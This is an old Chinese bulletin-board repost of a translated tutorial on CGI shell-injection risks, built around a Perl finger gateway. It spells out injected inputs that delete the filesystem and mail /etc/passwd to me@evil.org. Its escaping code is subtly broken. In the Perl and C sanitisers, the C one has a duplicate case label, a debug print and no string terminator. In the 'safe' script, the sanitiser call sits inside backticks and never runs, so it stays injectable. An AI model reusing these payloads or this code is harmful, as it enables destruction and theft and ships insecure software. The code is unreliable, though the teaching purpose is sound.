computer 版 (精华区)
发信人: Aug (如风), 信区: network
标 题: CGI的安全<转载> (9)
发信站: 听涛站 (Tue Mar 14 16:03:52 2000), 转信
2-2.shell危险性
很多的CGI任务都可以使用其他的程序很容易的实现。例如,你要写一个CGI
的邮件网关,完全使用CGI程序来完成执行邮件的发送代理是很愚蠢的行为。更
实用的方法是将数据通过管道传送到一个存在的邮件传送代理程序,比如
sendmail,然后让sendmail来完成剩下的工作。这种习惯很好并值得鼓励。
安全风险依赖于你怎样调用这些外部的程序。完成这项工作在Perl和C中有很
多函数可以实现。它们中很多函数通过调用shell,然后让shell来执行这个命
令。这些命令被列在表1中,如果你使用了它们中的一个,那么你就使得Unix
shells在攻击下显得很脆弱。
表1. C和Perl中可以调用shell的函数.
Perl 函数 C 函数
system('...') system()
open('| ...') popen()
exec('...')
eval('...')
`...`
为什么shell很危险呢?有很多的非数字的字符可以通过shell转换成特殊的
字符。这些字符被称为元字符(译者注:这里我将metacharacter译为元字符),见表
2。
表2. Shell metacharacters.
; < > * | ` & $
! # ( ) [ ] : {
} ' "
每一个这种字符在shell中都起着特殊的作用。例如,假如你想利用finger来
查询一台计算机并将结果存储到一个文件中,你可以在命令行中如下输入:
finger @fake.machine.org > results
这会使用finger查询主机fake.machine.org并将查询结果保存到一个文本文
件results中。这个>字符在这里是一个重定向符。如果你要实际地使用>字符
——例如,你想将它回显到屏幕上——你将需要在这个字符前加一个反斜杠。
举个例子,下面将向屏幕输出一个符号>:
echo \>
这被称为转义字符(escaping or sanitizing the character string)。
hacker是怎样利用这个作为他(她)的优势的?观察以下程序3中用perl编
写的finger程序。这个程序所做的是允许用户查询一个用户和一台主机的详细
信息,并且,这个CGI可以查询用户并显示结果。
程序3. finger.cgi.
#!/usr/local/bin/perl
# finger.cgi - an unsafe finger gateway
require 'cgi-lib.pl';
print &PrintHeader;
if (&ReadParse(*in)) {
print "\n";
print `/usr/bin/finger $in{'username'}`;
print "\n";
}
else {
print " \n";
print "\n";
print "\n\n";
print "Finger Gateway\n";
print "\n";
print "User@Host: \n";
print "\n";
print "\n";
print " \n";
}
乍一看,这个程序好象没有什么害处。因为是用Perl编写的,不会有buffer
overflow的危险。我使用了finger的完全路径,这样gateway不会被伪造的
finger程序所欺骗。如果输入是一个不合适的格式,那么gateway将返回一个错
误而不会被人利用。
但是,如果我尝试如下的输入会怎样呢(如图1所示)
nobody@nowhere.org;/bin/rm -rf /
FINGER GATEWAY
___________________________________
User@Host: |nobody@nowhere.org ; /bin/rm -rf / |
-----------------------------------
______________
| Submit Query |
--------------
(图1)
(译者注:原图是一个浏览器,我仅画出HTML页中的部分。)
我们来看一下下面的程序行会如何处理这样的输入:
print `/usr/bin/finger $in{'username'}`
由于你使用了向后的标记,首先它会执行一个shell。然后它将执行如下的
命令:
/usr/bin/finger nobody@nowhere.org ; /bin/rm -rf /
这将会怎样呢?假设在命令行像这样输入。它会删除所有的文件和目录,从
root的目录开始。我们需要sanitize这个输入来render the semicolon(;)
metacharacter harmless.在Perl中,利用表4中的函数可以很容易的实现。
(C中的这些等价函数在表5中;它们来自cgihtml的C库。)
程序4. Perl中的escape_input().
sub escape_input {
@_ =~ s/([;<>\*\|`&\$!?#\(\)\[\]\{\}:'"\\])/\\$1/g;
return @_;
}
程序5. C语言中的escape_input().
char *escape_input(char *str)
/* takes string and escapes all metacharacters. should be used before
including string in system() or similar call. */
{
int i,j = 0;
char *new = malloc(sizeof(char) * (strlen(str) * 2 + 1));
for (i = 0; i < strlen(str); i++) {
printf("i = %d; j = %d\n",i,j);
switch (str[i]) {
case '|': case '&': case ';': case '(': case ')': case '<':
case '>': case '\'': case '"': case '*': case '?': case '\\':
case '[': case ']': case '$': case '!': case '#': case ';':
case '`': case '{': case '}':
new[j] = '\\';
j++;
break;
default:
break;
}
new[j] = str[i];
j++;
}
new[j] = '\n';
return new;
}
这将返回一个带有跟随在\后的shell转义字符的字符串。这个修正的
finger.cgi网关在程序6中。
程序6. 一个安全的finger.cgi.
#!/usr/local/bin/perl
# finger.cgi - an safe finger gateway
require 'cgi-lib.pl';
sub escape_input {
@_ =~ s/([;<>\*\|`&\$!#\(\)\[\]\{\}:'"])/\\$1/g;
return @_;
}
print &PrintHeader;
if (&ReadParse(*in)) {
print "\n";
print `/usr/bin/finger &escape_input($in{'username'})`;
print "\n";
}
else {
print " \n";
print "\n";
print "\n\n";
print "Finger Gateway\n";
print "\n";
print "User@Host: \n";
print "\n";
print "\n";
print " \n";
}
这次,如果你使用前述相同的输入,将派生出一个shell,它将尝试这样执
行:
/usr/bin/finger nobody@nowhere.org \: /bin/rm -rf /
这样,那个恶意的企图将无法生效.它不再试图删除系统中所有的目录,而是
尝试finger用户nobody@nowhere.org,:,/bin/rm,-rf和 /。由于后面的字符
组合未必是你的系统中的用户,因此可能会返回一个错误。
记住几个问题。首先,如果你的Web服务器正确的配置了(例如,以非root
身份运行),那么,删除文件系统中的所有内容的企图不会成功。(如果服务
器以root身份运行,那么潜在的危害将是不可估量的。千万不要这样做!)另外,
用户还假定rm命令在/bin目录中。他或她假定了rm在这个路径中。然而,所有
这些只是对大多数的Unix系统的乐观的假设,并不是完全适用的。在一个
chrooted系统环境中,这个目录中并没有rm命令。那么hacker的努力将是徒劳
的。从理论上说,通过安全防范和正确配置你的Web服务器,你可以将潜在的危
害降低到几乎为0,即使是书写了糟糕的脚本。
然而,你没有理由在编写CGI程序时可以掉以轻心。事实上,大多数的Web环
境并不是chrooted的,仅仅是因为它禁止了很多人需要在Web服务器中需要的
灵活性。即使服务器不是以root身份运行,用户不能将文件系统中的文件全部
删除,一些人可以仅仅通过如下的输入,将/etc/passwd文件寄给me@evil.org
作为可能的攻击途径:
nobody@nowhere.org ; /bin/mail me@evil.org < /etc/passwd
我可以通过操纵这个漏洞来干很多事情,即使是在一个配置良好的环境中。
如果你在一个简单的CGI程序中容许一个漏洞从你的身边溜过,你怎么能肯定
你正确并安全的配置了你复杂的Unix系统和Web服务器?
答案是你不能。你最好打赌弄清楚你的CGI程序是安全的。在shell中运行它
之前不轻易接受输入是很容易对付的事情,它还是CGI编程中最常见的问题之一。
幸运的是,Perl拥有一个捕捉潜在感染的变量的很好的机制。如果你使用
taintperl而不是Perl(或者perl -T,如果你使用Perl 5),脚本将在潜在感染的
变量传递给shell命令处中止。这将帮助你在开始实际使用CGI程序时捕捉到所
有的潜在感染的变量的例子。
注意到Perl拥有比C更多的派生shell的函数。这并不是显而易见的,即使是
对于中级的Perl程序员,在执行程序前向后标记派生出一个shell。这是高级
语言的风险抉择;因为你不是很明确地知道它做什么,所以你并不清楚一个函
数会产生怎样的安全漏洞。
如果你避免了使用调用shell的函数,那么你不需要删除敏感的输入。在Perl
语言中,你可以通过使用system()或者exec()函数来封装每一个参数。例如,
如下的调用很安全的$input:
system("/usr/ucb/finger",$input{'username'});
然而,在你的finger gateway的情况下,这个特点是毫无用处的,因为你要
处理finger命令的输出,这个,除了你使用system函数外没有方法可以捕获。
在C语言中,你也可以通过使用exec一类的函数来直接执行程序:exev(),
exec1(),execvp(),execlp(),和execle()。exec1()在C语言中等价于Perl中的
system()函数。你使用哪一个exec函数以及如何使之按你的需要执行:这些细
节已经超出了本书的范围。
--
※ 来源:.听涛站 cces.net.[FROM: 匿名天使的家]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:2.990毫秒